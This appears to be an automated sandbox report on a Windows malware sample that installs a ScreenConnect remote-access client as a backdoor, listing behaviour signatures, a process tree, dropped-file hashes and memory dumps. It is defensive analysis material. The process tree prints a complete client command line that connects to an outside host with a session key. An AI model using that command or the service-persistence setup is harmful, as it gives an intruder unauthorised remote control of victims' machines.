Analysis

  • max time kernel
    150s
  • max time network
    136s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/07/2026, 17:04

General

  • Target
    2026-07-12_5d1e887dffe80db7ca6bb4577d67e90b_amadey_elex_luca-stealer_njrat_poet-rat_remcos_smoke-loader.exe
  • Size 10.9MB
  • Sample260712-vlfxesdy8q
  • SHA256 929a13cab29a6bb548e02e836af860a92eba8f9d490e390f49398a967034fb7c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 20 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 23 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 32 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-12_5d1e887dffe80db7ca6bb4577d67e90b_amadey_elex_luca-stealer_njrat_poet-rat_remcos_smoke-loader.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-12_5d1e887dffe80db7ca6bb4577d67e90b_amadey_elex_luca-stealer_njrat_poet-rat_remcos_smoke-loader.exe"
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    PID:4624
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2376
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 121B1FA1A9D51121947A539FBA32F31B
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5000
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI4ADA.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240733046 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:5028
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 5C738E7A07299EB37051DD3C7E833A0F E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2260
  • C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=cwserver.net&p=443&s=3f748129-e9c3-4d4f-a832-8cbbf74ea847&k=BgIAAACkAABSU0ExAAgAAAEAAQBJ1zjc0vJ1UJRmt3EIatJEG89hhrpTv8NZXDsZGlASi14tIpmfRfNnFlZjJc5STXjFmu0MfmC%2fi3gm8XIweaRQOwtzmAVy%2fz%2b0S5%2f3SrKOs6oftsfuJeoqyPByDkho%2fvSc1NrhaLeJBp7btXlaC%2fArMPWDndbSN%2f6ToiofL7xjEprQZ%2fbQXrJt0asvNP%2bXzlH1tSmFJYk0fJ5ZCdlZu4EuDHwMOiPWA2FQdiz3LXY4D93JEL1teabSsE006ZPtnz5Ixw%2fz0PrnWkWwGK2ml2FexSblOpEPOGQRreDsMYAMB3ngGc%2f71kwj0Tr3Xeo3ksaGuDCFK%2fjYM2fHDTzG%2fxme"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3444
    • C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\ScreenConnect.WindowsClient.exe" "RunRole" "158e73ee-eb8f-434f-ac96-401b32c5062a" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: AddClipboardFormatListener
      PID:1488
    • C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\ScreenConnect.WindowsClient.exe" "RunRole" "c0aeaab2-dece-4e88-b38d-fb641a080594" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      • Suspicious behavior: AddClipboardFormatListener
      PID:5632
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:2836

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e5947b1.rbs

          • Path C:\Config.Msi\e5947b1.rbs
          • Size 212KB
          • SHA256 5f38e56f449615137d8827f714738bef89aabbeaf09969a8666036f5bc6ca211
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\Client.en-US.resources
          • Size 47KB
          • SHA256 2d88b97d28be01abca4544c6381a4370c1a1ce05142c176742f13b44889ddf90
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\ScreenConnect.Client.dll
          • Size 188KB
          • SHA256 17377a52eeae11e8ee01eb629d6a60c10015ad2bb8bc9768e5c8e4b6500a15ed
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\ScreenConnect.ClientService.dll
          • Size 60KB
          • SHA256 7c5442121dba2a30ab9579ec08e111ded372cf9cf90fb3256f273980b975afa9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 e9ab064ed381c29a3930f75ca3e05605c6ee07f30a69c043f576a5461de3bafc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 998cc3f9af5bd41ccf0f9be86192bbe20cdec08a6ff73c1199e1364195a83e14
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\ScreenConnect.WindowsClient.exe
          • Size 573KB
          • SHA256 71602f6b0b27c8b7d8ad624248e6126970939effde785ec913ace19052e9960e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\app.config
          • Size 3KB
          • SHA256 d64e869df4d8c797d52a22609f7dc0a1a598cb71d178c07c3160aeae4220cb90
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (8c9b57a100875c83)\system.config
          • Size 943B
          • SHA256 49ca16241634954700cb8ce2b5f033488c1243246f5e13bde63e236a03757c18
          • MD5 SHA1 SHA512 TLSH

          CW.msi

          • Path C:\Users\Admin\AppData\Local\Temp\CW.msi
          • Size 10.4MB
          • SHA256 7a72d5de5617539231daa7ff794e688ffa324fbb54a64d73ad7654f517ebfaaa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI4ADA.tmp

          • Path C:\Windows\Installer\MSI4ADA.tmp
          • Size 1017KB
          • SHA256 2b35c0e4088b2a7728fa7bc6a5bfdefed7665598de6d49641fdf5d1f1271a4d7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI4ADA.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI4ADA.tmp-\ScreenConnect.Core.dll
          • Size 519KB
          • SHA256 761b7e50baa229e8afcd9a50990d7f776ddb5ed1ea5fbb131c802e57cf918742
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI4ADA.tmp-\ScreenConnect.InstallerActions.dll
          • Size 21KB
          • SHA256 ca9e51d51f24e16428d1b0e9a0829a44da2678bfc7ba00f0b46a57dcd6d734b8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI4F70.tmp

          • Path C:\Windows\Installer\MSI4F70.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1488-111-0x0000000000110000-0x00000000001A4000-memory.dmp

          memory/1488-117-0x0000000002250000-0x0000000002266000-memory.dmp

          memory/1488-116-0x00000000021D0000-0x00000000021E6000-memory.dmp

          memory/1488-115-0x000000001B720000-0x000000001B8A8000-memory.dmp

          memory/1488-114-0x000000001B3E0000-0x000000001B58A000-memory.dmp

          memory/1488-113-0x000000001AF70000-0x000000001AFF8000-memory.dmp

          memory/1488-112-0x0000000002210000-0x0000000002246000-memory.dmp

          memory/3444-98-0x0000000004510000-0x00000000045A2000-memory.dmp

          memory/3444-81-0x00000000042C0000-0x000000000446A000-memory.dmp

          memory/3444-82-0x0000000004A30000-0x0000000004FEA000-memory.dmp

          memory/3444-72-0x0000000001920000-0x0000000001936000-memory.dmp

          memory/3444-89-0x00000000041C0000-0x0000000004210000-memory.dmp

          memory/3444-93-0x0000000004210000-0x0000000004246000-memory.dmp

          memory/4624-105-0x0000000000EB0000-0x000000000194D000-memory.dmp

          memory/5028-29-0x0000000003850000-0x000000000387E000-memory.dmp

          memory/5028-33-0x0000000003840000-0x000000000384C000-memory.dmp

          memory/5028-37-0x0000000003930000-0x00000000039B8000-memory.dmp